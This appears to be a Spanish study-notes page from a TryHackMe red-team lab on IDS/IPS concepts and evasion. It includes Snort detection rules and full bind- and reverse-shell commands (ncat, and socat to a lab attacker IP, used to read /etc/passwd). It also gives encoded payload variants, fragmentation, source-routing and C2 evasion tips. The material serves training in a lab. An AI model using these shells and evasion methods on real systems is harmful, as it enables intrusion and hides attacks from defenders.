notes - b0ySie7e
GithubPortafolioWrite-ups
  • 👋Bienvenido a mi blog
  • Introducción a la ciberseguridad
    • 📓¿Como inicio en la ciberseguridad?
  • Teoria y Conceptos
    • 📓Redes
      • Identificación de Dispositivos
      • Local Area Network (LAN)
      • Sub redes
      • Procolo ARP
      • Protocolo DHCP
    • 📓Pentesting
      • OSSTMM
      • OWASP
      • NCSC CAF
  • Sistemas Operativos
    • Linux
      • Comandos
    • Windows
      • Comandos
  • Enumeración
    • Enumeracion de red
      • Enumeracion de Hosts
      • Enumeracion de Puertos y servicios
    • FootPrinting
      • Domain Information
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP-POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Enumeración web
      • Uso de google dorks
      • Whois
      • Dig
      • Enumeraciónde subdominios
      • Enumeración automatizada
  • Hacking Web
    • Ataques Comunes
      • Fuzzing
      • Sub dominios
      • SQL Injection
      • Cross-Site Scripting
      • Local File Inclusion
      • Remote File Inclusion
      • File Upload Attacks
      • Command Injections
    • Otras explotaciones
  • Escalada de Privilegios
    • 📕Linux
      • Enumeración automatizada - Tools
      • Kernel Exploit
      • Sudo
      • SUID
      • Capabilities
      • Cron Jobs
      • Path
      • NFS
    • 📕Windows
      • Enumeración automatizada - Tools
      • Harvesting Passwords from Usual Spots
      • Other Quick Wins
      • Abusing Service Misconfigurations
      • Abusing dangerous privileges
      • Abusing vulnerable software
  • Guias y Herramientas
    • Git
    • Buffer Over Flow
    • MetaSploit
      • Introducción
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Sessions
    • Nmap
    • Pivoting Tunneling Port Forwarning
      • Port Forwarding SSH
      • Pivoting Metasploit
      • Socat Redirection with a Reverse Shell
      • Socat Redirection with a Bind Shell
      • Others tools for pivoting
    • Transferencias de Archivos
      • Evading Detection
      • Linux File Transfer Methods
      • Miscellaneous File Transfer Methods
      • Transferring Files with Code
      • Windows File Transfer Methods
      • Otros
        • Usando ICMP
        • Usando ncat y tar
    • Shell y Payloads
      • Spawning shell interactiva
      • Conexión de RDP
    • Password Attacks
      • Cracking
      • Windows Local Password Attacks
      • Linux Local Password Attacks
      • Windows Lateral Movement
    • Fortinet
      • Configuración estática de Firewall
      • Licencia
      • Configuración de interfaces
      • Primera política
      • Rutas estaticas
  • Red Team Path - THM
    • Enumeración
      • Linux
      • Windows
    • Movimiento lateral
      • Movimiento Lateral
    • Pivoting
      • PortForwarining y pivoting
    • Host Evasion
      • Windows Internal
      • Introduccion a Windows
      • Abusing Windows Internal
      • Introducción a Antivirus
      • AV Evasion ShellCode
      • Principios de Ofuscación
      • Evasión de Firmas
      • Bypass UAC
      • Runtime Detection Evasion
      • Evading Logging and Monitoring
      • Living Off the Land
    • Networking Security Evasión
      • Network Security Solutions
      • Firewalls
      • Sandbox Evasion
    • Comprometiendo un directorio activo
      • Active Directory Basics
      • Breaching Active Directory
      • Enumerating Active Directory
      • Exploiting Active Directory
      • Persisting Active Directory
      • Credentials Harvesting
Con tecnología de GitBook
En esta página
  • Introduction
  • IDS Engine Types
  • IDS/IPS Rule Triggering
  • Evasion via Protocol Manipulation
  • Confíe en un protocolo diferente
  • Manipular (fuente) el puerto TCP/UDP
  • Utilice empalme de sesiones (fragmentación de paquetes IP)
  • Envío de paquetes no válidos
  • Evasion via Payload Manipulation
  • Ofuscar y codificar la carga útil
  • Cifrar el canal de comunicación
  • Modificar los datos
  • Evasion via Route Manipulation
  • Confiar en el enrutamiento de origen
  • Usando servidores proxy
  • Evasion via Tactical DoS
  • C2 and IDS/IPS Evasion
  • Next-Gen Security
  1. Red Team Path - THM
  2. Networking Security Evasión

Network Security Solutions

AnteriorNetworking Security EvasiónSiguienteFirewalls

Última actualización hace 10 meses

Introduction

Un Sistema de Detección de Intrusiones ( IDS ) es un sistema que detecta intrusiones en la red o en el sistema. Una analogía que me viene a la mente es la de un guardia mirando transmisiones en vivo desde diferentes cámaras de seguridad. Puede detectar un robo, pero no puede detenerlo por sí solo. Sin embargo, si este guardia puede contactar a otro guardia y pedirle que detenga al ladrón, la detección se convierte en prevención. Un Sistema de Prevención y Detección de Intrusiones (IDPS) o simplemente Sistema de Prevención de Intrusiones (IPS) es un sistema que puede detectar y prevenir intrusiones.

Comprender la diferencia entre detección y prevención es esencial. Snort es un sistema de prevención y detección de intrusiones en la red. En consecuencia, Snort se puede configurar como un IDS o un IPS. Para que Snort funcione como un IPS, necesita algún mecanismo para bloquear (drop ) las conexiones ofensivas. Esta capacidad requiere que Snort esté configurado como inlinepuente entre dos o más tarjetas de red.

Como IDS de red basado en firmas , Snort se muestra en la siguiente figura.

La siguiente figura muestra cómo se puede configurar Snort como IPS si se configura en línea.

Las configuraciones de IDS se pueden dividir según su ubicación en la red en:

  1. IDS basado en host (HIDS)

  2. IDS basado en red (NIDS)

El IDS basado en host (HIDS) se instala en un sistema operativo junto con las otras aplicaciones en ejecución. Esta configuración le dará al HIDS la capacidad de monitorear el tráfico que entra y sale del host; además, puede monitorear los procesos que se ejecutan en el host.

El IDS basado en red (NIDS) es un dispositivo o servidor dedicado para monitorear el tráfico de la red. El NIDS debe estar conectado para que pueda monitorear todo el tráfico de red de la red o VLAN que queremos proteger. Esto se puede lograr conectando el NIDS a un puerto de monitor en el conmutador. El NIDS procesará el tráfico de la red para detectar tráfico malicioso.

En la siguiente figura, utilizamos dos círculos rojos para mostrar la diferencia en la cobertura de un HIDS frente a un NIDS.

IDS Engine Types

Podemos clasificar el tráfico de red en:

  1. Tráfico benigno : este es el tráfico habitual que esperamos tener y sobre el que no queremos que el IDS nos avise.

  2. Tráfico malicioso : Se trata de tráfico anormal que no esperamos ver en condiciones normales y, en consecuencia, queremos que el IDS lo detecte.

De la misma manera que podemos clasificar el tráfico de la red, también podemos clasificar la actividad del host. El motor de detección de IDS se basa en la detección de tráfico y actividad maliciosos o en el reconocimiento del tráfico y la actividad normales. Reconocer lo "normal" facilita detectar cualquier desviación de lo normal.

En consecuencia, el motor de detección de un IDS puede ser:

  1. Basado en firmas : un IDS basado en firmas requiere un conocimiento total del tráfico malicioso (o no deseado). En otras palabras, debemos proporcionar explícitamente al motor de detección basado en firmas las características del tráfico malicioso. Se puede enseñar al IDS sobre el tráfico malicioso utilizando reglas explícitas para comparar.

  2. Basado en anomalías : esto requiere que el IDS tenga conocimiento de cómo se ve el tráfico regular. En otras palabras, necesitamos “enseñar” al IDS lo que es normal para que pueda reconocer lo que no es normal. Enseñar al IDS sobre el tráfico normal, es decir, el tráfico de referencia, se puede lograr mediante el aprendizaje automático o reglas manuales.

Dicho de otra manera, el IDS basado en firmas reconoce el tráfico malicioso, por lo que todo lo que no es malicioso se considera benigno (normal). Este enfoque se encuentra comúnmente en el software antivirus, que tiene una base de datos de firmas de virus conocidas. Todo lo que coincida con una firma se detecta como virus.

Un IDS basado en anomalías reconoce el tráfico normal, por lo que cualquier cosa que se desvíe de lo normal se considera malicioso. Este enfoque es más similar a cómo los seres humanos perciben las cosas; tiene ciertas expectativas de velocidad, rendimiento y capacidad de respuesta cuando inicia su navegador web. En otras palabras, sabes qué es "normal" para tu navegador. Si de repente nota que su navegador web es demasiado lento o no responde, sabrá que algo anda mal. En otras palabras, usted sabía cuando el rendimiento de su navegador se desviaba de lo normal.

IDS/IPS Rule Triggering

Cada IDS/IPS tiene una sintaxis determinada para escribir sus reglas. Por ejemplo, Snort utiliza el siguiente formato para sus reglas: Rule Header (Rule Options), donde el encabezado de regla constituye:

  1. Acción: Ejemplos de acción incluyen alert, log, pass, dropy reject.

  2. Protocolo: TCP, UDP, ICMP, o IP.

  3. IP de origen/Puerto de origen: !10.10.0.0/16 anyse refiere a todo lo que no está en la subred de clase 10.10.0.0/16B.

  4. Dirección del flujo: ->indica de izquierda (origen) a derecha (destino), mientras que <>indica tráfico bidireccional.

  5. IP de destino/Puerto de destino: para 10.10.0.0/16 anyreferirse a la subred clase B.10.10.0.0/16

A continuación se muestra una regla de ejemplo para droptodo el tráfico ICMP que pasa a través de Snort IPS :

drop icmp any any -> any any (msg: "ICMP Ping Scan"; dsize:0; sid:1000020; rev: 1;)

La regla anterior le indica al Snort IPS que descarte cualquier paquete de tipo ICMP desde cualquier dirección IP de origen (en cualquier puerto) a cualquier dirección IP de destino (en cualquier puerto). El mensaje que se agregará a los registros es "ICMP Ping Scan".

Consideremos un caso hipotético en el que se descubre una vulnerabilidad en nuestro servidor web. Esta vulnerabilidad radica en cómo nuestro servidor web maneja las solicitudes del método HTTP POST, lo que permite al atacante ejecutar comandos del sistema.

Consideremos el siguiente enfoque "ingenuo". Queremos crear una regla de Snort que detecte el término ncaten la carga útil del tráfico intercambiado con nuestro servidor web para aprender cómo las personas explotan esta vulnerabilidad.

alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"ncat"; sid: 1000030; rev:1;)

La regla anterior inspecciona el contenido de los paquetes intercambiados con el puerto 80 para la cadena ncat. Alternativamente, puede optar por escribir el contenido que Snort buscará en formato hexadecimal. ncaten ASCII se escribe como 6e 63 61 74en hexadecimal y está encapsulado como una cadena por 2 caracteres de canalización |.

alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"|6e 63 61 74|"; sid: 1000031; rev:1;)

Podemos refinarlo aún más si esperamos verlo en solicitudes HTTP POST. Tenga en cuenta que flow:establishedle dice al motor de Snort que mire las transmisiones iniciadas por un protocolo de enlace de tres vías TCP (conexiones establecidas).

alert tcp any any <> any 80 (msg: "Netcat Exploitation"; flow:established,to_server; content:"POST"; nocase; http_method; content:"ncat"; nocase; sid:1000032; rev:1;)

Si se elige el registro ASCII, los registros serían similares a las dos alertas que se muestran a continuación.

[**] [1:1000031:1] Netcat Exploitation [**]
[Priority: 0] 
01/14-12:51:26.717401 10.14.17.226:45480 -> 10.10.112.168:80
TCP TTL:63 TOS:0x0 ID:34278 IpLen:20 DgmLen:541 DF
***AP*** Seq: 0x26B5C2F  Ack: 0x0  Win: 0x0  TcpLen: 32

[**] [1:1000031:1] Netcat Exploitation [**]
[Priority: 0] 
01/14-12:51:26.717401 10.14.17.226:45480 -> 10.10.112.168:80
TCP TTL:63 TOS:0x0 ID:34278 IpLen:20 DgmLen:541 DF
***AP*** Seq: 0x26B5C2F  Ack: 0xF1090882  Win: 0x3F  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2244530364 287085341

Hay algunos puntos que destacar sobre el IDS basado en firmas y sus reglas. Si el atacante hiciera incluso el más mínimo cambio para evitar el uso ncatpalabra por palabra en su carga útil, el ataque pasaría desapercibido. Como podemos concluir, un IDS o IPS basado en firmas está limitado a qué tan bien escritas y actualizadas estén sus firmas (reglas).

Evasion via Protocol Manipulation

Evadir un IDS/IPS basado en firmas requiere que manipule su tráfico para que no coincida con ninguna firma IDS/IPS. Aquí hay cuatro enfoques generales que podría considerar para evadir los sistemas IDS/IPS.

  1. Evasión mediante manipulación de protocolos

  2. Evasión mediante manipulación de carga útil

  3. Evasión mediante manipulación de ruta

  4. Evasión mediante denegación táctica de servicio ( DoS )

Ampliaremos cada uno de estos enfoques en su propia tarea. Empecemos por el primero. La evasión mediante manipulación de protocolos incluye:

  • Confiar en un protocolo diferente

  • Manipulación del puerto TCP/UDP (fuente)

  • Uso de empalme de sesiones (fragmentación de paquetes IP)

  • Envío de paquetes no válidos

Confíe en un protocolo diferente

El sistema IDS/IPS puede estar configurado para bloquear ciertos protocolos y permitir otros. Por ejemplo, podría considerar usar UDP en lugar de TCP o confiar en HTTP en lugar de DNS para realizar un ataque o extraer datos. Puede utilizar el conocimiento que ha reunido sobre el objetivo y las aplicaciones necesarias para que la organización objetivo diseñe su ataque. Por ejemplo, si se permite la navegación web, normalmente significa que los hosts protegidos pueden conectarse a los puertos 80 y 443 a menos que se utilice un proxy local. En un caso, el cliente confiaba en los servicios de Google para su negocio, por lo que el atacante utilizó el alojamiento web de Google para ocultar su sitio malicioso. Desafortunadamente, no es una solución única para todos; Además, es posible que sea necesario realizar algunas pruebas y errores siempre que no genere demasiado ruido.

Tenemos un IPS configurado para bloquear consultas DNS y solicitudes HTTP en la siguiente figura. En particular, aplica la política según la cual las máquinas locales no pueden consultar servidores DNS externos, sino que deben consultar el servidor DNS local; además, impone comunicaciones HTTP seguras. Es relativamente permisivo cuando se trata de HTTPS. En este caso, utilizar HTTPS para canalizar el tráfico parece un enfoque prometedor para evadir el IPS.

  • Para escuchar usando TCP , simplemente indiquencat -lvnp PORT_NUM dónde el número de puerto es el puerto que desea escuchar.

  • para conectarse a una instancia de Ncat que escucha en un puerto TCP , puede emitirncat TARGET_IP PORT_NUM

Tenga en cuenta que:

  • -lle dice ncatque escuche las conexiones entrantes

  • -vobtiene una salida más detallada a medida que ncatse vincula a un puerto de origen y recibe una conexión

  • -nevita resolver nombres de host

  • -pespecifica el número de puerto que ncatescuchará

Como ya se mencionó, el uso -umoverá todas las comunicaciones a través de UDP .

  • Para escuchar usando UDP , simplemente indiquencat -ulvnp PORT_NUM dónde el número de puerto es el puerto que desea escuchar. Tenga en cuenta que, a menos que agregue -u, ncatutilizará TCP de forma predeterminada.

  • Para conectarse a una instancia de Ncat que escucha en un puerto UDP , puede emitirnc -u TARGET_IP PORT_NUM

Considere los siguientes dos ejemplos:

  • Ejecutar ncat -lvnp 25el sistema atacante y conectarse a él dará la impresión de que se trata de una conexión TCP habitual con un servidor SMTP, a menos que el IDS/IPS proporcione una inspección profunda de paquetes (DPI).

  • Ejecutarlo ncat -ulvnp 162en la máquina atacante y conectarse a ella dará la ilusión de que se trata de una comunicación UDP normal con un servidor SNMP, a menos que el IDS/IPS admita DPI.

Manipular (fuente) el puerto TCP/UDP

En términos generales, los puertos de origen y destino TCP y UDP son inspeccionados incluso por las soluciones de seguridad más básicas. Sin una inspección profunda de paquetes, los números de puerto son el principal indicador del servicio utilizado. En otras palabras, el tráfico de red que involucra el puerto TCP 22 se interpretaría como tráfico SSH a menos que la solución de seguridad pueda analizar los datos transportados por los segmentos TCP.

Dependiendo de la solución de seguridad de destino, puede hacer que el tráfico de escaneo de puertos se parezca a la navegación web o a las consultas DNS . Si está utilizando Nmap, puede agregar la opción-g PORT_NUMBER (o --source-port PORT_NUMBER) para hacer que Nmap envíe todo su tráfico desde un número de puerto de origen específico.

Mientras escanea un objetivo, utilícelo nmap -sS -Pn -g 80 -F MACHINE_IPpara hacer que el tráfico de escaneo del puerto parezca intercambiado con un servidor HTTP a primera vista.

Si está interesado en escanear puertos UDP , puede utilizar nmap -sU -Pn -g 53 -F MACHINE_IPpara hacer que el tráfico parezca intercambiado con un servidor DNS .

  • En la máquina atacante, si desea utilizar Ncat para escuchar en el puerto UDP 53, como lo haría un servidor DNS, puede utilizarncat -ulvnp 53 .

  • En el objetivo, puede hacer que se conecte al servidor de escucha usando ncat -u ATTACKER_IP 53.

Alternativamente, puede hacer que parezca más tráfico web donde los clientes se comunican con un servidor HTTP .

  • En la máquina atacante, para hacer que Ncat escuche en el puerto TCP 80, como un servidor web benigno, puede usarncat -lvnp 80 .

  • En el destino, conéctese al servidor de escucha mediante nc ATTACKER_IP 80.

Utilice empalme de sesiones (fragmentación de paquetes IP)

Otro enfoque posible en IPv4 es la fragmentación de paquetes IP, es decir, el empalme de sesiones. La suposición es que si divide los paquetes relacionados con un ataque en paquetes más pequeños, evitará que coincidan las firmas IDS . Si el IDS busca un flujo particular de bytes para detectar la carga útil maliciosa, divida su carga útil entre varios paquetes. A menos que el IDS vuelva a ensamblar los paquetes, la regla no se activará.

Nmap ofrece algunas opciones para fragmentar paquetes. Puedes añadir:

  • -fpara configurar los datos en el paquete IP en 8 bytes.

  • -ffpara limitar los datos en el paquete IP a 16 bytes como máximo.

  • --mtu SIZEpara proporcionar un tamaño personalizado para los datos transportados dentro del paquete IP. El tamaño debe ser múltiplo de 8.

Por ejemplo, puede crear un archivo de configuración fragroute.confcon una línea, ip_frag 16para fragmentar paquetes donde los fragmentos de datos IP no superen los 16 bytes. Luego ejecutarías el comando fragroute -f fragroute.conf HOST. El host es el destino al que le enviaríamos los paquetes fragmentados.

Envío de paquetes no válidos

En términos generales, la respuesta de los sistemas a paquetes válidos tiende a ser predecible. Sin embargo, puede no estar claro cómo responderían los sistemas a paquetes no válidos. Por ejemplo, un IDS/IPS podría procesar un paquete no válido, mientras que el sistema de destino podría ignorarlo. El comportamiento exacto requeriría algo de experimentación o conocimiento interno.

Nmap permite crear paquetes no válidos de diversas formas. En particular, dos opciones comunes serían escanear el objetivo utilizando paquetes que tengan:

  • Suma de comprobación TCP/UDP no válida

  • Banderas TCP no válidas

Nmap le permite enviar paquetes con una suma de comprobación TCP/UDP incorrecta usando la opción--badsum . Una suma de verificación incorrecta indica que el paquete original ha sido alterado en algún lugar a lo largo de su ruta desde el programa emisor.

Nmap también le permite enviar paquetes con indicadores TCP personalizados, incluidos los no válidos. La opción--scanflags le permite elegir qué banderas desea configurar.

  • URGpara urgente

  • ACKpara reconocer

  • PSHpara empujar

  • RSTpara restablecer

  • SYNpara sincronizar

  • FINpara terminar

Por ejemplo, si desea configurar los indicadores Sincronizar, Restablecer y Finalizar simultáneamente, puede usar --scanflags SYNRSTFIN, aunque esta combinación puede no ser beneficiosa para sus propósitos.

Si desea diseñar sus paquetes con campos personalizados, ya sean válidos o no válidos, es posible que desee considerar una herramienta como hping3. Enumeraremos algunas opciones de ejemplo para darle una idea de cómo crear paquetes usando hping3.

  • -to --ttlpara configurar el tiempo de vida en el encabezado IP

  • -bo --badsumenviar paquetes con una suma de comprobación UDP/TCP incorrecta

  • -S, -A, -P, -U, -F, -Rpara configurar los indicadores TCP SYN, ACK, PUSH, URG, FIN y RST, respectivamente

Hay muchas otras opciones. Dependiendo de sus necesidades, es posible que desee consultar la hping3página del manual para obtener la lista completa.

Evasion via Payload Manipulation

La evasión mediante manipulación de carga útil incluye:

  • Ofuscar y codificar la carga útil

  • Cifrar el canal de comunicación.

  • Modificando el código shell

Ofuscar y codificar la carga útil

Debido a que las reglas de IDS son muy específicas, puede realizar cambios menores para evitar la detección. Los cambios incluyen agregar bytes adicionales, ofuscar los datos del ataque y cifrar la comunicación.

Considere el comando ncat -lvnp 1234 -e /bin/bash, donde ncatescuchará en el puerto TCP 1234 y conectará cualquier conexión entrante al shell Bash. Existen algunas transformaciones comunes, como Base64, codificación de URL y secuencia de escape Unicode, que puede aplicar a su comando para evitar activar firmas IDS/IPS.

Codificar al formato Base64

Puede utilizar una de las muchas herramientas en línea que codifican su entrada en Base64. Alternativamente, puede utilizar base64los que se encuentran comúnmente en los sistemas Linux .

Terminal Pentester

pentester@TryHackMe$ cat input.txt
ncat -lvnp 1234 -e /bin/bash
$ base64 input.txt
bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==

ncat -lvnp 1234 -e /bin/bashestá codificado en bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==.

Codificación de URL

Una utilidad que puedes instalar fácilmente en tu sistema Linuxurlencode es ; Alternativamente, puede utilizar un servicio en línea o buscar utilidades similares en MS Windows y macOS. Para seguir adelante con AttackBox, puede instalarlo urlencodeejecutando el comando apt install gridsite-clients.

Terminal Pentester

pentester@TryHackMe$ urlencode ncat -lvnp 1234 -e /bin/bash
ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash

ncat -lvnp 1234 -e /bin/bashse convierte ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbashdespués de la codificación URL. Dependiendo de con qué coincida la firma IDS/IPS, la codificación de URL puede ayudar a evadir la detección.

Usar Unicode escapado

  1. Buscar caracteres Unicode de escape

  2. Arrástrelo a la columna Receta

  3. Asegúrese de tener una marca de verificación cerca de Codificar todos los caracteres con un prefijo de\u

  4. Asegúrese de tener una marca de verificación cerca del hexadecimal mayúscula con un relleno de 4

Cifrar el canal de comunicación

Debido a que un IDS/IPS no inspecciona los datos cifrados, un atacante puede aprovechar el cifrado para evadir la detección. A diferencia de la codificación, el cifrado requiere una clave de cifrado.

Un enfoque directo es crear la clave de cifrado necesaria en el sistema del atacante y configurarla socatpara que utilice la clave de cifrado para imponer el cifrado mientras escucha las conexiones entrantes. Un shell inverso cifrado se puede realizar en tres pasos:

  1. Crea la clave

  2. Escuche en la máquina del atacante

  3. Conéctese a la máquina del atacante

En primer lugar , en AttackBox o cualquier sistema Linux , podemos crear la clave usandoopenssl .

openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt

Los argumentos del comando anterior son:

  • reqindica que se trata de una solicitud de firma de certificado. Obviamente, no enviaremos nuestro certificado para su firma.

  • -x509especifica que queremos un certificado X.509

  • -newkey rsa:4096crea una nueva solicitud de certificado y una nueva clave privada utilizando RSA, con un tamaño de clave de 4096 bits. (Puede utilizar otras opciones para el tamaño de clave RSA, como -newkey rsa:2048.)

  • -days 365muestra que la validez de nuestro certificado será de un año

  • -subjestablece datos, como organización y país, a través de la línea de comando.

  • -nodessimplifica nuestro comando y no cifra la clave privada

  • -keyout PRIVATE_KEYespecifica el nombre del archivo donde queremos guardar nuestra clave privada

  • -out CERTIFICATEespecifica el nombre del archivo en el que queremos escribir la solicitud de certificado

El comando anterior devuelve:

  • Llave privada:thm-reverse.key

  • Certificado:thm-reverse.crt

El archivo Privacy Enhanced Mail (PEM) .pemrequiere la concatenación de la clave privada .keyy los .crtarchivos de certificado. Podemos usar catpara crear nuestro archivo PEM a partir de los dos archivos que acabamos de crear:

cat thm-reverse.key thm-reverse.crt > thm-reverse.pem.

En segundo lugar , con el archivo PEM listo, podemos comenzar a escuchar mientras usamos la clave para cifrar la comunicación con el cliente.

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

Si no está familiarizado con socat, las opciones que utilizamos son:

  • -d -dproporciona algunos datos de depuración (mensajes fatales, de error, de advertencia y de aviso)

  • OPENSSL-LISTEN:PORT_NUMindica que la conexión se cifrará utilizando OPENSSL

  • cert=PEM_FILEproporciona el archivo PEM (certificado y clave privada) para establecer la conexión cifrada

  • verify=0deshabilita la verificación del certificado del par

  • forkcrea un subproceso para manejar cada nueva conexión.

En tercer lugar , sobre el sistema de víctimas socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash. Tenga en cuenta que EXECinvoca el programa especificado.

Demostremos esto. En el sistema atacante, llevamos a cabo lo siguiente:

Terminal Pentester

pentester@TryHackMe$ openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
Generating a RSA private key
........................++++
......++++
writing new private key to 'thm-reverse.key'
-----
pentester@TryHackMe$ ls
thm-reverse.crt  thm-reverse.key
pentester@TryHackMe$ cat thm-reverse.key thm-reverse.crt > thm-reverse.pem
pentester@TryHackMe$ socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
2022/02/24 13:39:07 socat[1208] W ioctl(6, IOCTL_VM_SOCKETS_GET_LOCAL_CID, ...): Inappropriate ioctl for device
2022/02/24 13:39:07 socat[1208] N listening on AF=2 0.0.0.0:4443

Como tenemos un oyente en el sistema atacante, cambiamos a la máquina víctima y ejecutamos lo siguiente:

pentester@target$ socat OPENSSL:10.20.30.129:4443,verify=0 EXEC:/bin/bash

De vuelta al sistema atacante, ejecutemos cat /etc/passwd:

pentester@TryHackMe$ socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
[...]
2022/02/24 15:54:28 socat[7620] N starting data transfer loop with FDs [7,7] and [1,1]

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
[...]

Sin embargo, si el IDS/ IPS inspecciona el tráfico, todos los datos del paquete se cifrarán. En otras palabras, el IPS será completamente ajeno al tráfico de intercambio y a comandos comocat /etc/passwd . La siguiente captura de pantalla muestra cómo aparecen las cosas en el cable cuando se capturan con Wireshark. El paquete resaltado contiene cat /etc/passwd; sin embargo, está cifrado.

Como puede ver, no es posible entender los comandos o los datos que se intercambian. Para ver mejor el valor de la capa agregada de cifrado, la compararemos con una socatconexión equivalente que no utiliza cifrado.

  1. En el sistema del atacante, ejecutamos socat -d -d TCP-LISTEN:4443,fork STDOUT.

  2. En la máquina de la víctima, ejecutamos socat TCP:10.20.30.129:4443 EXEC:/bin/bash.

  3. De vuelta en el sistema del atacante, escribimos cat /etc/passwdy presionamos Enter/Return.

Debido a que no se utilizó cifrado, la captura del tráfico intercambiado entre los dos sistemas expondrá los comandos y el tráfico intercambiado. En la siguiente captura de pantalla podemos ver el comando enviado por el atacante.

Además, es una tarea trivial seguir el flujo TCP ya que está en texto sin cifrar y aprender todo lo que se intercambia entre el atacante y el sistema objetivo. La siguiente captura de pantalla utiliza la opción "Seguir secuencia TCP" de Wireshark.

Modificar los datos

Considere el caso simple en el que desea utilizar Ncat para crear un shell de enlace. El siguiente comando ncat -lvnp 1234 -e /bin/bashle indica ncatque escuche en el puerto TCP 1234 y vincule el shell Bash a él. Si desea detectar paquetes que contengan dichos comandos, debe pensar en algo específico que coincida con la firma, pero no demasiado específico.

  • El escaneo ncat -lvnpse puede evadir fácilmente cambiando el orden de las banderas.

  • Por otro lado, la inspección de la carga útil ncat -se puede evitar agregando un espacio en blanco adicional, como ncat -el que aún se ejecutaría correctamente en el sistema de destino.

  • Si el IDS está buscandoncat , los cambios simples en el comando original no evadirán la detección. Necesitamos considerar enfoques más sofisticados dependiendo del sistema/aplicación de destino. Una opción sería utilizar un comando diferente como nco socat. Alternativamente, puede considerar una codificación diferente si el sistema de destino puede procesarla correctamente.

Evasion via Route Manipulation

La evasión mediante manipulación de rutas incluye:

  • Confiar en el enrutamiento de origen

  • Usando servidores proxy

Confiar en el enrutamiento de origen

En muchos casos, puede utilizar el enrutamiento de origen para obligar a los paquetes a utilizar una ruta determinada para llegar a su destino. Nmap proporciona esta característica usando la opción --ip-options. Nmap ofrece enrutamiento flexible y estricto:

  • El enrutamiento suelto se puede especificar usando L. Por ejemplo, --ip-options "L 10.10.10.50 10.10.50.250"solicita que sus paquetes de escaneo se enruten a través de las dos direcciones IP proporcionadas.

  • Se puede especificar un enrutamiento estricto mediante S. El enrutamiento estricto requiere que usted configure cada salto entre su sistema y el host de destino. Por ejemplo, --ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3"especifica que los paquetes pasan por estos tres saltos antes de llegar al host de destino.

Usando servidores proxy

El uso de servidores proxy puede ayudar a ocultar su fuente. Nmap ofrece la opción--proxies que toma una lista de URL de proxy separadas por comas. Cada URL debe expresarse en el formato proto://host:port. Los protocolos válidos son HTTP y SOCKS4; Además, actualmente no se admite la autenticación.

Considere el siguiente ejemplo. En lugar de ejecutar nmap -sS MACHINE_IP, editaría su comando Nmap a algo como nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 MACHINE_IP. De esta manera, haría que su escaneo pasara por el host1 del proxy HTTP y luego por el host2 del proxy SOCKS4, antes de alcanzar su objetivo. Es importante tener en cuenta que encontrar un proxy confiable requiere algo de prueba y error antes de poder confiar en él para ocultar la fuente de escaneo de Nmap.

Si utiliza su navegador web para conectarse al objetivo, sería una tarea sencilla pasar su tráfico a través de un servidor proxy. Otras herramientas de red suelen proporcionar sus propias configuraciones de proxy que puede utilizar para ocultar su fuente de tráfico.

Evasion via Tactical DoS

La evasión mediante DoS táctico incluye:

  • Lanzamiento de denegación de servicio contra el IDS/IPS

  • Lanzamiento de denegación de servicio contra el servidor de registro

Un IDS /IPS requiere una alta potencia de procesamiento a medida que crece el número de reglas y aumenta el volumen de tráfico de la red. Además, especialmente en el caso de IDS, la respuesta principal es registrar información de tráfico que coincida con la firma. En consecuencia, podría resultarle beneficioso si puede:

  • Cree una enorme cantidad de tráfico benigno que simplemente sobrecargaría la capacidad de procesamiento del IDS/IPS.

  • Cree una cantidad masiva de tráfico no malicioso que aún así llegaría a los registros. Esta acción congestionaría el canal de comunicación con el servidor de registro o excedería su capacidad de escritura en disco.

También vale la pena señalar que el objetivo de su ataque puede ser el operador de IDS . Al provocar una gran cantidad de falsos positivos, puede causar fatiga al operador frente a su "adversario".

C2 and IDS/IPS Evasion

Los marcos de pentesting, como Cobalt Strike y Empire, ofrecen perfiles de comando y control ( C2 ) maleables. Estos perfiles permiten varios ajustes para evadir los sistemas IDS/IPS. Si está utilizando un marco de este tipo, vale la pena crear un perfil personalizado en lugar de depender de uno predeterminado. Entre los ejemplos de variables que puede controlar se incluyen los siguientes:

  • Agente de usuario : la herramienta o marco que está utilizando puede exponerlo a través de su agente de usuario predeterminado. Por lo tanto, siempre es importante configurar el agente de usuario en algo inofensivo y probarlo para confirmar su configuración.

  • Tiempo de sueño : el tiempo de sueño le permite controlar el intervalo de devolución de llamada entre los registros de baliza. En otras palabras, puede controlar la frecuencia con la que el sistema infectado intentará conectarse al sistema de control.

  • Jitter : esta variable le permite agregar algo de aleatoriedad al tiempo de sueño, especificado por el porcentaje de jitter. Una fluctuación del 30 % da como resultado un tiempo de suspensión de ±30 % para evadir aún más la detección.

  • Certificado SSL : el uso de su certificado SSL de aspecto auténtico mejorará significativamente sus posibilidades de evadir la detección. Es una inversión de tiempo muy valiosa.

  • Baliza DNS : considere el caso en el que está utilizando el protocolo DNS para filtrar datos. Puede ajustar las balizas DNS configurando los servidores DNS y el nombre de host en la consulta DNS. El nombre de host contendrá los datos extraídos.

Next-Gen Security

  1. Capacidades IPS estándar de primera generación : un IPS de red de próxima generación debería lograr lo que puede hacer un IPS de red tradicional.

